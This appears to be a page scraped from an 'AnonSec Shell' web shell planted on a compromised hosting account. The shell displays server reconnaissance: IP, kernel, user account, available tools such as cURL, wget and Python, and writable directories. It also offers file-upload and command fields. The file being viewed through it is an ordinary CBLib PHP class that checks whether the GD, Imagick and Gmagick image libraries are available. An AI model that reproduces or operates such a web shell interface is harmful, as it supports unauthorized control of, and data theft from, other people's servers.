AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/departement-amisdessenior-.fr/libraries/CBLib/CBLib/Image/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/departement-amisdessenior-.fr/libraries/CBLib/CBLib/Image/Test.php
<?php
/**
* CBLib, Community Builder Library(TM)
* @version $Id: 07.06.13 23:17 $
* @package CBLib\Image
* @copyright (C) 2004-2023 www.joomlapolis.com / Lightning MultiCom SA - and its licensors, all rights reserved
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2
*/

namespace CBLib\Image;

defined('CBLIB') or die();

/**
 * CBLib\Image\Test Class implementation
 */
class Test
{

	public function __construct() {}

	/**
	 * Checks if Gd image processing is available
	 *
	 * @return bool
	 */
	public function Gd()
	{
		if ( ! function_exists( 'gd_info' ) ) {
			return false;
		}

		if ( version_compare( GD_VERSION, '2.0.1', '<' ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if Imagick image processing is available
	 *
	 * @return bool
	 */
	public function Imagick()
	{
		if ( ! class_exists( '\Imagick' ) ) {
			return false;
		}

		$v					=	\Imagick::getVersion();

		list( $version )	=	sscanf( $v['versionString'], 'ImageMagick %s %04d-%02d-%02d %s %s' );

		if ( version_compare( '6.2.9', $version ) > 0 ) {
			return false;
		}

		if ( $version === '7.0.7-32' ) { // https://github.com/avalanche123/Imagine/issues/689
			return false;
		}

		return true;
	}

	/**
	 * Checks if Gmagick image processing is available
	 *
	 * @return bool
	 */
	public function Gmagick()
	{
		if ( ! class_exists( '\Gmagick' ) ) {
			return false;
		}

		return true;
	}
}

Anon7 - 2022
AnonSec Team